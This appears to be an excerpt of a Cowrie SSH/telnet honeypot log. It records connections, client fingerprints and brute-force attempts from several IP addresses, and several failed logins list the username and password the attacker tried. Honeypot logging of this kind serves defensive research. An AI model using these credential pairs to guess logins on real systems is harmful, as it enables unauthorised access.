{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:42.982819Z","src_ip":"103.176.20.57","session":"74d1be067a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:43.257217Z","src_ip":"103.176.20.57","session":"74d1be067a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890p","message":"login attempt [root/1234567890p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:44.027955Z","src_ip":"103.176.20.57","session":"74d1be067a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60272,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f9c03a986f","protocol":"telnet","message":"New connection: 152.42.224.71:60272 (10.17.0.5:23) [session: 58f9c03a986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:44.991693Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:45.284823Z","src_ip":"103.176.20.57","session":"74d1be067a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.78081512451172,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:45.422182Z","src_ip":"152.42.224.71","session":"4741ce44b8a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35488,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd678d7ef76","protocol":"telnet","message":"New connection: 152.42.224.71:35488 (10.17.0.5:23) [session: 5bd678d7ef76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:47.058821Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":36812,"dst_ip":"159.203.135.109","dst_port":22,"session":"6720a3e73a2c","protocol":"ssh","message":"New connection: 43.128.86.117:36812 (159.203.135.109:22) [session: 6720a3e73a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:47.158760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:47.163019Z","src_ip":"43.128.86.117","session":"6720a3e73a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:47.399562Z","src_ip":"43.128.86.117","session":"6720a3e73a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123123","message":"login attempt [root/Aa@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:48.377337Z","src_ip":"43.128.86.117","session":"6720a3e73a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:49.615729Z","src_ip":"43.128.86.117","session":"6720a3e73a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35492,"dst_ip":"10.17.0.5","dst_port":23,"session":"9519100d8cd3","protocol":"telnet","message":"New connection: 152.42.224.71:35492 (10.17.0.5:23) [session: 9519100d8cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:50.016508Z"}
{"eventid":"cowrie.session.closed","duration":22.154589891433716,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:51.205325Z","src_ip":"152.42.224.71","session":"9625f07186b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52520,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7da2536737b","protocol":"telnet","message":"New connection: 152.42.224.71:52520 (10.17.0.5:23) [session: a7da2536737b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:57.906231Z"}
{"eventid":"cowrie.session.closed","duration":30.792330026626587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:59.864276Z","src_ip":"152.42.224.71","session":"fd901c4f1d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fab9fffa67b","protocol":"telnet","message":"New connection: 152.42.224.71:52536 (10.17.0.5:23) [session: 3fab9fffa67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:02.224516Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52548,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62a1f04205e","protocol":"telnet","message":"New connection: 152.42.224.71:52548 (10.17.0.5:23) [session: a62a1f04205e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:03.250413Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52552,"dst_ip":"10.17.0.5","dst_port":23,"session":"4537205fd203","protocol":"telnet","message":"New connection: 152.42.224.71:52552 (10.17.0.5:23) [session: 4537205fd203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:04.292684Z"}
{"eventid":"cowrie.session.closed","duration":7.912611484527588,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:12.205169Z","src_ip":"152.42.224.71","session":"4537205fd203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50478,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8581ee3d86","protocol":"telnet","message":"New connection: 152.42.224.71:50478 (10.17.0.5:23) [session: 1a8581ee3d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:25.450046Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50474,"dst_ip":"10.17.0.5","dst_port":23,"session":"3943bc05403b","protocol":"telnet","message":"New connection: 152.42.224.71:50474 (10.17.0.5:23) [session: 3943bc05403b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:25.937751Z"}
{"eventid":"cowrie.session.closed","duration":40.339144468307495,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:27.397872Z","src_ip":"152.42.224.71","session":"5bd678d7ef76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.5418632030487,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:28.408211Z","src_ip":"152.42.224.71","session":"caa434850231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":53118,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c8828f9414","protocol":"ssh","message":"New connection: 43.128.86.117:53118 (159.203.135.109:22) [session: 13c8828f9414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:32.052547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:32.056482Z","src_ip":"43.128.86.117","session":"13c8828f9414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:32.301648Z","src_ip":"43.128.86.117","session":"13c8828f9414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty123","message":"login attempt [user/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:33.317326Z","src_ip":"43.128.86.117","session":"13c8828f9414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:34.566171Z","src_ip":"43.128.86.117","session":"13c8828f9414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36856,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d143f35167","protocol":"telnet","message":"New connection: 152.42.224.71:36856 (10.17.0.5:23) [session: e5d143f35167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:34.604401Z"}
{"eventid":"cowrie.session.closed","duration":49.65138387680054,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:34.642946Z","src_ip":"152.42.224.71","session":"58f9c03a986f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.866798877716064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:38.117024Z","src_ip":"152.42.224.71","session":"a62a1f04205e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46772,"dst_ip":"10.17.0.5","dst_port":23,"session":"442b311f2f92","protocol":"telnet","message":"New connection: 152.42.224.71:46772 (10.17.0.5:23) [session: 442b311f2f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:38.859452Z"}
{"eventid":"cowrie.session.closed","duration":13.585119485855103,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:39.522749Z","src_ip":"152.42.224.71","session":"3943bc05403b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46784,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e587c38f8bc","protocol":"telnet","message":"New connection: 152.42.224.71:46784 (10.17.0.5:23) [session: 7e587c38f8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:41.424348Z"}
{"eventid":"cowrie.session.closed","duration":40.725502729415894,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:42.949881Z","src_ip":"152.42.224.71","session":"3fab9fffa67b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":44698,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba1036771eb1","protocol":"ssh","message":"New connection: 43.134.32.136:44698 (159.203.135.109:22) [session: ba1036771eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:52.577558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:52.581468Z","src_ip":"43.134.32.136","session":"ba1036771eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:52.826429Z","src_ip":"43.134.32.136","session":"ba1036771eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.58344030380249,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:52.966753Z","src_ip":"152.42.224.71","session":"d9825c0afb3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57622,"dst_ip":"10.17.0.5","dst_port":23,"session":"655e1f461fb5","protocol":"telnet","message":"New connection: 152.42.224.71:57622 (10.17.0.5:23) [session: 655e1f461fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:53.768002Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nokia@1234","message":"login attempt [root/Nokia@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:53.839046Z","src_ip":"43.134.32.136","session":"ba1036771eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:55.090074Z","src_ip":"43.134.32.136","session":"ba1036771eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.80980086326599,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:55.259717Z","src_ip":"152.42.224.71","session":"1a8581ee3d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55548,"dst_ip":"10.17.0.5","dst_port":23,"session":"36fe9a06ada7","protocol":"telnet","message":"New connection: 152.42.224.71:55548 (10.17.0.5:23) [session: 36fe9a06ada7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:56.220557Z"}
{"eventid":"cowrie.session.closed","duration":109.5052216053009,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:14:58.152454Z","src_ip":"152.42.224.71","session":"eb66c367a90c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59282,"dst_ip":"10.17.0.5","dst_port":23,"session":"da89259b94a0","protocol":"telnet","message":"New connection: 152.42.224.71:59282 (10.17.0.5:23) [session: da89259b94a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:05.889391Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59284,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b4571a570c","protocol":"telnet","message":"New connection: 152.42.224.71:59284 (10.17.0.5:23) [session: 26b4571a570c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:07.685387Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59290,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06363d103f0","protocol":"telnet","message":"New connection: 152.42.224.71:59290 (10.17.0.5:23) [session: e06363d103f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:14.344653Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":48056,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc1b002df6b","protocol":"ssh","message":"New connection: 43.128.86.117:48056 (159.203.135.109:22) [session: 3bc1b002df6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:17.289344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:17.293428Z","src_ip":"43.128.86.117","session":"3bc1b002df6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:17.529195Z","src_ip":"43.128.86.117","session":"3bc1b002df6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1234qwer","message":"login attempt [dev/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:18.481135Z","src_ip":"43.128.86.117","session":"3bc1b002df6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:19.714074Z","src_ip":"43.128.86.117","session":"3bc1b002df6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46426,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d87157ff2e","protocol":"telnet","message":"New connection: 152.42.224.71:46426 (10.17.0.5:23) [session: 08d87157ff2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:24.183632Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58810,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c998137cae","protocol":"telnet","message":"New connection: 152.42.224.71:58810 (10.17.0.5:23) [session: 00c998137cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:26.549662Z"}
{"eventid":"cowrie.session.closed","duration":53.66621518135071,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:28.270502Z","src_ip":"152.42.224.71","session":"e5d143f35167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":56334,"dst_ip":"159.203.135.109","dst_port":22,"session":"45286ce84270","protocol":"ssh","message":"New connection: 47.237.167.49:56334 (159.203.135.109:22) [session: 45286ce84270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:31.876712Z"}
